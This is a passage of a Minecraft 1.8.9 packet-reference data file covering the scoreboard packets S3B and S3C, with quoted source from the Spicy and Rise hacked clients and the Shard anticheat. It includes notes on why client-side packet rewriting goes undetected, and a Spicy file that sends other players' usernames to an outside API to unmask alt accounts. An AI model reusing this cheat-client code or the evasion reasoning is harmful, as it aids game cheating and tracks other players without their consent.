S2DPacketOpenWindow.class,\n            S2EPacketCloseWindow.class,\n            S2FPacketSetSlot.class,\n            S30PacketWindowItems.class,\n            S31PacketWindowProperty.class,\n            S32PacketConfirmTransaction.class,\n            S33PacketUpdateSign.class,\n            S34PacketMaps.class,\n            S35PacketUpdateTileEntity.class,\n            S36PacketSignEditorOpen.class,\n            S37PacketStatistics.class,\n            S38PacketPlayerListItem.class,\n            S39PacketPlayerAbilities.class,\n            S3APacketTabComplete.class,\n            S3BPacketScoreboardObjective.class,\n            S3CPacketUpdateScore.class,\n            S3DPacketDisplayScoreboard.class,\n            S3EPacketTeams.class,\n            S3FPacketCustomPayload.class,\n            S40PacketDisconnect.class,\n            S41PacketServerDifficulty.class,\n            S42PacketCombatEvent.class,\n            S43PacketCamera.class,\n            S44PacketWorldBorder.class,\n            S45PacketTitle.class,\n            S46PacketSetCompressionLevel.class,\n            S47PacketPlayerListHeaderFooter.class,\n            S48PacketResourcePackSend.class,\n            S49PacketUpdateEntityNBT.class\n    };\n\n    @SneakyThrows\n    private static Packet<?> instantiatePacket(final EnumPacketDirection direction, final int id, final Object... params) {\n        Packet<?> packet = null;\n        try {\n            if (direction == EnumPacketDirection.CLIENTBOUND) {\n                packet = (Packet<?>) Arrays.stream(clientbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            } else if (direction == EnumPacketDirection.SERVERBOUND) {\n                packet = (Packet<?>) Arrays.stream(serverbound[id].getConstructors()).filter(x -> x.getParameterCount() == params.length).findFirst().get().newInstance(params);\n            }\n        } catch (Exception ex) {\n            ChatUtil.display(\"Failed to instantiate packet!\");\n            throw new ScriptException(ex);\n        }\n        return packet;\n    }\n\n    public void sendPacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.SERVERBOUND, id, params);\n        MC.getNetHandler().addToSendQueue(packet);\n    }\n\n    public void receivePacket(final int id, final Object... params) {\n        final Packet<?> packet = instantiatePacket(EnumPacketDirection.CLIENTBOUND, id, params);\n        MC.getNetHandler().addToReceiveQueue(packet);\n    }\n\n    public boolean isSingleplayer() {\n        return MC.isSingleplayer();\n    }\n\n    public boolean isMultiplayer() {\n        return !MC.isSingleplayer() && MC.getCurrentServerData() != null;\n    }\n\n    public String getServerIP() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverIP\n                : null;\n    }\n\n    public String getServerName() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverName\n                : null;\n    }\n\n    public String getServerMOTD() {\n        return MC.getCurrentServerData() != null\n                ? MC.getCurrentServerData().serverMOTD\n                : null;\n    }\n}\n// NOTE (AI): The clientbound array lists S3BPacketScoreboardObjective at line 102. This file is the script API table for Rise 6.x; the identical file ships in 6.2.4 under Client-release2/Client/src/main/java.",
      "code_source": "Rise 6.1.30, com/alan/clients/script/api/NetworkAPI.java",
      "vanilla_hook": "None directly. Script-level packet handling sits on top of this table.",
      "anti_cheat_notes": "None. It is a class registry, not runtime packet logic.",
      "variations": "Rise 6.2.4 ships the byte-identical file with the Client-release2/Client/src/main/java path prefix."
     }
    ],
    "general_hooks": "Spicy uses EventPacket pre; Rise 6.x script packets run through the NetworkAPI table.",
    "client_variations": "Spicy mutates packet objects inside its EventPacket pre-phase. Rise 6.x routes packet awareness through the script API rather than module code.",
    "related": [
     "S3CPacketUpdateScore",
     "S3DPacketDisplayScoreboard",
     "S3EPacketTeams"
    ],
    "anticheat": {
     "overview": "S3B carries scoreboard objective lifecycle state, and only Shard touches it. The monitor HUD system consumes and emits the packet family: ScoreboardSlotObserver reads S3B REMOVE actions and S3D display binds to detect when its claimed sidebar slot is displaced, and ScoreboardPacketBridge builds the S3B objectives, S3D display binds and S3C score rows that render the monitor sidebar. Everything else in the corpus is plumbing or sibling-family noise: Negativity's SCOREBOARD_OBJECTIVE constant and Artemis' four scoreboard wrapper interfaces with their PacketRepository entries register the family, intave's ScoreboardAccessor and EntityCollisionDisabler build and read PacketPlayOutScoreboardTeam (S3E), NCP's CollisionUtil uses the Bukkit scoreboard API for team-collision lookups, and BetterAnticheat's ReloadCommand hits on a comment.",
     "checks": [
      {
       "name": "ScoreboardSlotObserver (Shard)",
       "found_in": [
        "KaelusAI-Shard"
       ],
       "purpose": "Watches the scoreboard objective and display streams so the monitor HUD notices when its claimed sidebar slot is taken over or its objective is removed by the server or another plugin.",
       "how_it_works": "MONITOR-priority PacketSendEvent listener active only while the slot registry holds claims. For S3B it wraps the event as WrapperPlayServerScoreboardObjective and, when the mode is REMOVE and the objective name matches a claim, fires the claim's onSlotLost callback; for S3D it compares the display slot against the claim and fires onSlotLost with a DISPLACED reason when a foreign objective binds there. The callback is deferred through tasksAfterSend onto the main thread.",
       "detects": "None; it is a coordination observer. It detects slot loss so the monitor view can re-assert its sidebar or fall back.",
       "detailed_code": "// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/core/ScoreboardSlotObserver.kt =====\n/*\n * This file is part of Shard - https://github.com/KaelusAI/Shard\n * Copyright (C) 2026 KaelusAI\n *\n * Shard is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Shard is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\npackage ac.shard.monitor.core\n\nimport ac.shard.scheduler.SchedulerService\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract\nimport com.github.retrooper.packetevents.event.PacketListenerPriority\nimport com.github.retrooper.packetevents.event.PacketSendEvent\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDisplayScoreboard\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerScoreboardObjective\nimport org.bukkit.entity.Player\n\nclass ScoreboardSlotObserver(\n  private val scheduler: SchedulerService,\n  private val registry: ScoreboardSlotRegistry,\n) : PacketListenerAbstract(PacketListenerPriority.MONITOR) {\n  override fun onPacketSend(event: PacketSendEvent) {\n    if (registry.isIdle()) {\n      return\n    }\n    val type = event.packetType\n    if (\n      type != PacketType.Play.Server.DISPLAY_SCOREBOARD &&\n        type != PacketType.Play.Server.SCOREBOARD_OBJECTIVE\n    ) {\n      return\n    }\n    inspect(event, type == PacketType.Play.Server.DISPLAY_SCOREBOARD)\n  }\n\n  private fun inspect(event: PacketSendEvent, isDisplay: Boolean) {\n    val viewer = event.getPlayer<Any>() as? Player ?: return\n    val claims = registry.claimsFor(viewer.uniqueId) ?: return\n    if (isDisplay) {\n      inspectDisplay(event, viewer, claims)\n    } else {\n      inspectObjective(event, viewer, claims)\n    }\n  }\n\n  private fun inspectDisplay(event: PacketSendEvent, viewer: Player, claims: List<SlotClaim>) {\n    val wrapper = WrapperPlayServerDisplayScoreboard(event)\n    val foreign = wrapper.scoreName\n    if (foreign.isBlank()) {\n      return\n    }\n    val claim = claims.firstOrNull { it.slot == wrapper.position && it.objective != foreign }\n    claim?.let { defer(event, viewer, it, SlotLossReason.DISPLACED, foreign) }\n  }\n\n  private fun inspectObjective(event: PacketSendEvent, viewer: Player, claims: List<SlotClaim>) {\n    val wrapper = WrapperPlayServerScoreboardObjective(event)\n    if (wrapper.mode != WrapperPlayServerScoreboardObjective.ObjectiveMode.REMOVE) {\n      return\n    }\n    val claim = claims.firstOrNull { it.objective == wrapper.name }\n    claim?.let { defer(event, viewer, it, SlotLossReason.OBJECTIVE_REMOVED, wrapper.name) }\n  }\n\n  private fun defer(\n    event: PacketSendEvent,\n    viewer: Player,\n    claim: SlotClaim,\n    reason: SlotLossReason,\n    foreignObjective: String,\n  ) {\n    event.tasksAfterSend.add(\n      Runnable {\n        scheduler.runSync(\n          viewer,\n          Runnable { claim.onLost.onSlotLost(viewer, reason, foreignObjective) },\n        )\n      }\n    )\n  }\n}\n// NOTE (AI): inspectObjective (lines 67-74) is the S3B branch: a REMOVE-mode objective matching a claimed name fires the claim's onSlotLost callback. inspectDisplay (lines 57-65) is the S3D branch for display-slot displacement.",
       "code_source": "KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/core/ScoreboardSlotObserver.kt",
       "variations": "ScoreboardPacketBridge is the emission half of the same monitor: it writes the objectives and display binds this observer reads."
      },
      {
       "name": "ScoreboardPacketBridge (Shard)",
       "found_in": [
        "KaelusAI-Shard"
       ],
       "purpose": "Emits the scoreboard objective, display and score packets that render Shard's monitor HUD sidebar for a viewer.",
       "how_it_works": "createObjective sends an S3B CREATE objective (name, INTEGER render type, component title, optional fixed score format) followed by an S3D display bind to the target slot; removeObjective sends an S3B REMOVE. updateEntry and removeEntry maintain the S3C score rows, choosing reset-score packets on servers that support fancy text (1.20.3+). All packets go out through the PacketEvents player manager.",
       "detects": "None; it is the writer side of a HUD. The bridge is the emission half of the scoreboard observer's coordination loop.",
       "detailed_code": "// ===== FILE: KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/core/ScoreboardPacketBridge.kt =====\n/*\n * This file is part of Shard - https://github.com/KaelusAI/Shard\n * Copyright (C) 2026 KaelusAI\n *\n * Shard is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Shard is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see <http://www.gnu.org/licenses/>.\n */\npackage ac.shard.monitor.core\n\nimport com.github.retrooper.packetevents.PacketEvents\nimport com.github.retrooper.packetevents.manager.server.ServerVersion\nimport com.github.retrooper.packetevents.protocol.score.ScoreFormat\nimport com.github.retrooper.packetevents.wrapper.PacketWrapper\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerDisplayScoreboard\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerResetScore\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerScoreboardObjective\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateScore\nimport java.util.Optional\nimport net.kyori.adventure.text.Component\nimport org.bukkit.entity.Player\n\ndata class ObjectiveSpec(\n  val name: String,\n  val slot: Int,\n  val title: String,\n  val legacyTitleFallback: String,\n  val blankScoreText: String,\n)\n\ndata class ScoreDisplay(val entryDisplay: String?, val scoreText: String?)\n\nclass ScoreboardPacketBridge(private val cache: ComponentCache) {\n  fun supportsFancyText(viewer: Player): Boolean =\n    serverSupportsFancyText() && clientVersion(viewer).isNewerThanOrEquals(ServerVersion.V_1_20_3)\n\n  fun createObjective(viewer: Player, spec: ObjectiveSpec) {\n    val fancy = supportsFancyText(viewer)\n    val title = if (fancy) spec.title else spec.title.ifBlank { spec.legacyTitleFallback }\n    val create =\n      if (fancy) {\n        WrapperPlayServerScoreboardObjective(\n          spec.name,\n          WrapperPlayServerScoreboardObjective.ObjectiveMode.CREATE,\n          cache.component(title),\n          WrapperPlayServerScoreboardObjective.RenderType.INTEGER,\n          ScoreFormat.fixedScore(cache.component(spec.blankScoreText)),\n        )\n      } else {\n        WrapperPlayServerScoreboardObjective(\n          spec.name,\n          WrapperPlayServerScoreboardObjective.ObjectiveMode.CREATE,\n          cache.component(title),\n          WrapperPlayServerScoreboardObjective.RenderType.INTEGER,\n        )\n      }\n    sendPacket(viewer, create)\n    sendPacket(viewer, WrapperPlayServerDisplayScoreboard(spec.slot, spec.name))\n  }\n\n  fun displayObjective(viewer: Player, name: String, slot: Int) {\n    sendPacket(viewer, WrapperPlayServerDisplayScoreboard(slot, name))\n  }\n\n  fun removeObjective(viewer: Player, name: String) {\n    sendPacket(\n      viewer,\n      WrapperPlayServerScoreboardObjective(\n        name,\n        WrapperPlayServerScoreboardObjective.ObjectiveMode.REMOVE,\n        Component.empty(),\n        null,\n      ),\n    )\n  }\n\n  fun updateEntry(\n    viewer: Player,\n    objective: String,\n    entry: String,\n    score: Int,\n    display: ScoreDisplay,\n  ) {\n    sendPacket(viewer, updateScorePacket(viewer, objective, entry, score, display))\n  }\n\n  fun removeEntry(viewer: Player, objective: String, entry: String) {\n    val packet =\n      if (supportsFancyText(viewer)) {\n        WrapperPlayServerResetScore(entry, objective)\n      } else {\n        WrapperPlayServerUpdateScore(\n          entry,\n          WrapperPlayServerUpdateScore.Action.REMOVE_ITEM,\n          objective,\n          Optional.empty(),\n        )\n      }\n    sendPacket(viewer, packet)\n  }\n\n  private fun updateScorePacket(\n    viewer: Player,\n    objective: String,\n    entry: String,\n    score: Int,\n    display: ScoreDisplay,\n  ): PacketWrapper<*> {\n    if (!supportsFancyText(viewer)) {\n      return WrapperPlayServerUpdateScore(\n        entry,\n        WrapperPlayServerUpdateScore.Action.CREATE_OR_UPDATE_ITEM,\n        objective,\n        Optional.of(score),\n      )\n    }\n    val format =\n      display.scoreText?.let { ScoreFormat.fixedScore(cache.component(it)) }\n        ?: ScoreFormat.blankScore()\n    return WrapperPlayServerUpdateScore(\n      entry,\n      WrapperPlayServerUpdateScore.Action.CREATE_OR_UPDATE_ITEM,\n      objective,\n      score,\n      display.entryDisplay?.let { cache.component(it) },\n      format,\n    )\n  }\n\n  fun serverSupportsFancyText(): Boolean =\n    PacketEvents.getAPI().serverManager.version.isNewerThanOrEquals(ServerVersion.V_1_20_3)\n\n  private fun clientVersion(viewer: Player): ServerVersion =\n    PacketEvents.getAPI().playerManager.getClientVersion(viewer).toServerVersion()\n\n  private fun sendPacket(viewer: Player, packet: PacketWrapper<*>) {\n    PacketEvents.getAPI().playerManager.sendPacket(viewer, packet)\n  }\n}\n// NOTE (AI): createObjective (lines 46-68) emits an S3B CREATE objective followed by an S3D display bind; removeObjective (lines 74-84) emits an S3B REMOVE. The remaining methods maintain the S3C score rows that populate the sidebar.",
       "code_source": "KaelusAI-Shard, src/main/kotlin/ac/shard/monitor/core/ScoreboardPacketBridge.kt",
       "variations": "No other anticheat emits or reads S3B; the rest of the corpus registers the family (Negativity, Artemis) or touches the sibling S3E team packet (intave)."
      }
     ]
    }
   },
   "wiki_notes": [
    "Action byte drives it: 0 create objective, 1 remove, 2 update display. Name capped at 16 chars.",
    "Create/update also carry display text (32-char cap) and render type integer or hearts; remove sends name plus action byte only.",
    "MCP 1.8.9 S3BPacketScoreboardObjective implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleScoreboardObjective; wire serde is readPacketData/writePacketData via readByte, readStringFromBuffer.",
    "1.8.9 callers: ServerScoreboard.onObjectiveDisplayNameChanged sends new S3BPacketScoreboardObjective (line 132): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/scoreboard/ServerScoreboard.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S3BPacketScoreboardObjective/",
   "mcp_path": "net/minecraft/network/play/server/S3BPacketScoreboardObjective.java",
   "group": "play-client",
   "logic_classes": [
    "ServerScoreboard"
   ]
  },
  {
   "id": "S3CPacketUpdateScore",
   "hex": "0x3C",
   "dec": 60,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Update Score",
   "desc": "Updates a single scoreboard entry (add, remove, or change score value).",
   "tags": [
    "scoreboard",
    "score"
   ],
   "fields": [
    {
     "name": "name",
     "type": "String",
     "desc": "Score name (player name or team)"
    },
    {
     "name": "objectiveName",
     "type": "String",
     "desc": "Objective name"
    },
    {
     "name": "value",
     "type": "int",
     "desc": "Score value"
    },
    {
     "name": "action",
     "type": "VarInt Enum",
     "desc": "0=create/update, 1=remove"
    }
   ],
   "encoding": [
    [
     "Name",
     "String",
     ""
    ],
    [
     "Objective",
     "String",
     ""
    ],
    [
     "Value",
     "int",
     "0 for remove"
    ],
    [
     "Action",
     "VarInt",
     "0=create, 1=remove"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleUpdateScore()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Single-row scoreboard mutation. Fields are the score name (40-char cap), an action enum (CHANGE or REMOVE), the objective name (16-char cap), and for CHANGE a VarInt value. The server emits one S3C per row update: value change, row removal, removal scoped to one objective, and full replay during objective creation and on join. It is the most frequently emitted scoreboard packet: a 15-row sidebar refresh is 15 packets."
     },
     {
      "h": "Vanilla handling",
      "p": "handleUpdateScore resolves the objective by name, then either sets the score points (CHANGE) or removes the row (REMOVE). A REMOVE with an empty objective name removes the row from every objective. The client scoreboard then re-renders whichever slot binds the objective. The value field is only present for CHANGE, so the read path is action-dependent."
     },
     {
      "h": "Why clients touch it",
      "p": "Two Spicy files rewrite this packet, both for name visibility. HideName replaces the session username with a chosen alias in both the objective name and the row name fields, so sidebar kill feeds and stats boards stop showing the real name. Account.java does the inverse for alt accounts: it appends the real account name in green so the user can tell which identity is live. Both mutate the decoded packet inside EventPacket pre, before the vanilla handler runs. Rise 6.x only registers the class in the script API."
     },
     {
      "h": "Exploit surface",
      "p": "Name rewriting here is invisible to the server: S3C is clientbound, and the rewrite happens after decode and before the client scoreboard consumes it. Anti-cheats never see the mutation. HideName stays consistent by applying the same alias to chat (S02PacketChat) and scoreboard rows, so the client-side story matches everywhere. There is no server-side state to desync because the scoreboard lives only on the client."
     }
    ],
    "overview": "The only scoreboard packet the 8 clients actually mutate. Spicy's HideName swaps the player's username for an alias in score rows; Spicy's Account.java appends the real alt name in green. Both rewrite the decoded packet before the vanilla handler, which the server cannot see.",
    "server_handling": "ServerScoreboard emits S3C on score value changes, row removal, and removal scoped to one objective, plus full replays during objective creation and join. All sends go through sendPacketToAllPlayers. The packet is clientbound only; the server never validates or receives score state back from the client.",
    "protocol_notes": "readPacketData order: score name (40-char cap), action enum via readEnumValue, objective name (16-char cap), then the VarInt value only when the action is CHANGE. REMOVE rows omit the value, keeping the packet short. The enum has exactly two members, CHANGE and REMOVE; there is no separate add action.",
    "anticheat_landscape": "Nothing flags S3C abuse in the corpus. It carries display strings and a display integer, no timing or movement content. Rewriting name fields is purely cosmetic client-side work that server-side anti-cheat cannot detect.",
    "modules": [
     {
      "name": "HideName",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Stop the player's real username from appearing in scoreboard rows: sidebar stats, kill feeds, and per-player objectives.",
      "how_it_works": "In EventPacket pre, when the packet is S3CPacketUpdateScore, it strips the invisible joiner character (׼) from both name fields and checks whether the objective name or the score name contains the session username. On a match it replaces the username with the selected alias via setObjective and setName. The same handler rewrites S02PacketChat for chat surfaces.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/player/HideName.java =====\npackage info.spicyclient.modules.player;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.settings.ModeSetting;\nimport info.spicyclient.settings.SettingChangeEvent;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S3BPacketScoreboardObjective;\nimport net.minecraft.network.play.server.S3CPacketUpdateScore;\nimport net.minecraft.network.play.server.S3DPacketDisplayScoreboard;\nimport net.minecraft.util.ChatComponentText;\n\npublic class HideName extends Module {\n\t\n\tpublic ModeSetting mode = new ModeSetting(\"Name\", \"You\", \"You\", \"MooshroomMashUp\", \"Fox_of_floof\", \"lavaflowglow\", \"_Floofy_Fox_\");\n\t\n\tpublic HideName() {\n\t\tsuper(\"HideName\", Keyboard.KEY_NONE, Category.PLAYER);\n\t\tresetSettings();\n\t}\n\t\n\t@Override\n\tpublic void resetSettings() {\n\t\tthis.settings.clear();\n\t\tthis.addSettings(mode);\n\t}\n\t\n\t@Override\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventUpdate && e.isPre()) {\n\t\t\tthis.additionalInformation = mode.getMode();\n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tEventPacket packetEvent = (EventPacket) e;\n\t\t\tif (packetEvent.packet instanceof S02PacketChat) {\n\t\t\t\t\n\t\t\t\tS02PacketChat packet = (S02PacketChat) packetEvent.packet;\n\t\t\t\t\n\t\t\t\tif (packet.getChatComponent().getUnformattedText().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())) {\n\t\t\t\t\tpacket.chatComponent = new ChatComponentText(packet.getChatComponent().getFormattedText().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telse if (packetEvent.packet instanceof S3CPacketUpdateScore) {\n\t\t\t\tS3CPacketUpdateScore packet = (S3CPacketUpdateScore) packetEvent.packet;\n\t\t\t\t\n\t\t\t\tif (packet.getObjectiveName().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setObjective(packet.getObjectiveName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (packet.getName().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())){\n\t\t\t\t\tpacket.setName(packet.getName().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mode.getMode()));\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t\n\t}\n\t\n}\n// NOTE (AI): The S3CPacketUpdateScore branch on lines 52-63 is the core of this module. It rewrites both the objective name and the score name so the session username never renders in a scoreboard row. The mode setting selects the replacement alias.",
      "code_source": "Spicy, info/spicyclient/modules/player/HideName.java",
      "vanilla_hook": "EventPacket (pre phase).",
      "anti_cheat_notes": "None. Pure client-side string rewrite after decode; the server never sees the mutation.",
      "variations": "Account.java reuses the same rewrite pattern but appends the real account name in green instead of hiding it."
     },
     {
      "name": "Account (alt name reveal)",
      "found_in": [
       "Spicy"
      ],
      "purpose": "For alt accounts, append the real account name to the player's own scoreboard rows so the user can tell which identity is live.",
      "how_it_works": "Account.onPacket, reached from the module event bus when SpicyClient.account.loggedIn is true, handles S3CPacketUpdateScore by rewriting the objective name and row name, replacing the session username with 'username §f(§a realname §f)'. The same treatment applies to S02PacketChat. It also polls the SpicyClient.info API per player to map alt names to real accounts.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/files/Account.java =====\npackage info.spicyclient.files;\n\nimport java.util.ConcurrentModificationException;\nimport java.util.HashMap;\n\nimport org.apache.http.client.methods.HttpPost;\nimport org.apache.http.message.BasicNameValuePair;\nimport org.json.JSONObject;\n\nimport info.spicyclient.SpicyClient;\nimport info.spicyclient.chatCommands.Command;\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.EventType;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventRender3D;\nimport info.spicyclient.events.listeners.EventRenderGUI;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.player.ChatBypass;\nimport info.spicyclient.modules.player.HideName;\nimport info.spicyclient.networking.NetworkManager;\nimport info.spicyclient.util.Timer;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S0CPacketSpawnPlayer;\nimport net.minecraft.network.play.server.S3CPacketUpdateScore;\nimport net.minecraft.util.ChatComponentText;\n\npublic class Account {\n\t\n\tpublic static transient HashMap<String, String> usernames = new HashMap<String, String>();\n\tpublic static transient Timer timer1 = new Timer(), timer2 = new Timer(), timer3 = new Timer();\n\t\n\tpublic String username = \"\", session = \"\";\n\t\n\tpublic boolean loggedIn = false;\n\t\n\tpublic static Minecraft mc = Minecraft.getMinecraft();\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (!SpicyClient.account.loggedIn) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\tif (e instanceof EventPacket)\n\t\t\tonPacket((EventPacket) e);\n\t\t\n\t\tif (e instanceof EventUpdate)\n\t\t\tonUpdate((EventUpdate) e);\n\t\t\n\t}\n\t\n\tpublic void render3DStuff(EventRender3D e) {\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\tpublic void onUpdate(EventUpdate e) {\n\t\t\n\t\tif (e.isPre() && timer2.hasTimeElapsed(60000, true)) {\n\t\t\t\n\t\t}\n\t\t\n\t\tint players = 20;\n\t\t\n\t\tif (mc.theWorld.playerEntities.size() <= 10) {\n\t\t\t\n\t\t\tplayers = 20;\n\t\t\t\n\t\t}else {\n\t\t\t\n\t\t\tplayers = mc.theWorld.playerEntities.size();\n\t\t\t\n\t\t}\n\t\t\n\t\ttry {\n\t\t\tif (e.isPre() && timer1.hasTimeElapsed(2000 * players, true)) {\n\t\t\t\t\n\t\t\t\tfor (EntityPlayer player : mc.theWorld.playerEntities) {\n\t\t\t\t\t\n\t\t\t\t\tnew Thread() {\n\t\t\t\t\t\t\n\t\t\t\t\t\tpublic void run() {\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tJSONObject json;\n\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t//Command.sendPrivateChatMessage(player.getName());\n\t\t\t\t\t\t\t\tif (usernames.containsKey(player.getName())) {\n\t\t\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tjson = new JSONObject(NetworkManager.getNetworkManager().sendPost(new HttpPost(\"http://SpicyClient.info/api/accountApi.php\"), new BasicNameValuePair(\"type\", \"checkIfUserIsUsingSpicyClient\"), new BasicNameValuePair(\"username\", player.getName())));\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif (json.getBoolean(\"alt\")) {\n\t\t\t\t\t\t\t\t\tString realUsername = json.getString(\"username\");\n\t\t\t\t\t\t\t\t\tusernames.put(player.getName(), realUsername);\n\t\t\t\t\t\t\t\t}else {\n\t\t\t\t\t\t\t\t\t//usernames.put(player.getName(), \" - - - - \");\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t} catch (Exception e) {\n\t\t\t\t\t\t\t\t// TODO Auto-generated catch block\n\t\t\t\t\t\t\t\te.printStackTrace();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}.start();\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t} catch (ConcurrentModificationException e2) {\n\t\t\t// TODO: handle exception\n\t\t}\n\t\t\n\t}\n\t\n\tpublic void onPacket(EventPacket e) {\n\t\t\n\t\tif (e instanceof EventPacket && e.isPre()) {\n\t\t\t\n\t\t\tif (SpicyClient.config.killSults.isEnabled()) {\n\t\t\t\tEventType temp = e.getType();\n\t\t\t\te.setType(EventType.BEFOREPRE);\n\t\t\t\tSpicyClient.config.killSults.onEvent(e);\n\t\t\t\te.setType(temp);\n\t\t\t}\n\t\t\t\n\t\t\tEventPacket packetEvent = (EventPacket) e;\n\t\t\tif (packetEvent.packet instanceof S02PacketChat) {\n\t\t\t\t\n\t\t\t\tS02PacketChat packet = (S02PacketChat) packetEvent.packet;\n\t\t\t\t\n\t\t\t\t/*\n\t\t\t\tmc.thePlayer.setCustomNameTag(mc.getSession().getUsername() + \" §7{§c\" + ChatBypass.insertPeriodically(SpicyClient.account.username, \"⛍⛗⛌⛗⛘⛉⛡⛍⛗⛉⛍⛘⛜⛍⛠⛘⛟⛏⛡⛏⛗⛏⛍⛉⛋׼\", 1) + \"§7} \");\n\t\t\t\tif (packet.getChatComponent().getUnformattedText().replaceAll(\"׼\", \"\").contains(mc.getSession().getUsername())) {\n\t\t\t\t\tpacket.chatComponent = new ChatComponentText(packet.getChatComponent().getFormattedText().replaceAll(\"׼\", \"\").replaceAll(mc.getSession().getUsername(), mc.getSession().getUsername() + \" §7{§a\" + ChatBypass.insertPeriodically(SpicyClient.account.username, \"⛍⛗⛌⛗⛘⛉⛡⛍⛗⛉⛍⛘⛜⛍⛠⛘⛟⛏⛡⛏⛗⛏⛍⛉⛋׼\", 1) + \"§7} \"));\n\t\t\t\t}\n\t\t\t\t*/\n\t\t\t\t\n\t\t\t\tfor (String username : usernames.keySet()) {\n\t\t\t\t\t\n\t\t\t\t\tif (packet.getChatComponent().getUnformattedText().replaceAll(\"׼\", \"\").contains(username) && usernames.get(username) != \" - - - - \") {\n\t\t\t\t\t\tpacket.chatComponent = new ChatComponentText(packet.getChatComponent().getFormattedText().replaceAll(\"׼\", \"\").replaceAll(username, username + \" §7{§a\" + ChatBypass.insertPeriodically(usernames.get(username), \"⛍⛗⛌⛗⛘⛉⛡⛍⛗⛉⛍⛘⛜⛍⛠⛘⛟⛏⛡⛏⛗⛏⛍⛉⛋׼\", 1) + \"§7} \"));\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\telse if (packetEvent.packet instanceof S3CPacketUpdateScore) {\n\t\t\t\tS3CPacketUpdateScore packet = (S3CPacketUpdateScore) packetEvent.packet;\n\t\t\t\t\n\t\t\t\tif (packet.getObjectiveName().replaceAll(\"׼\", 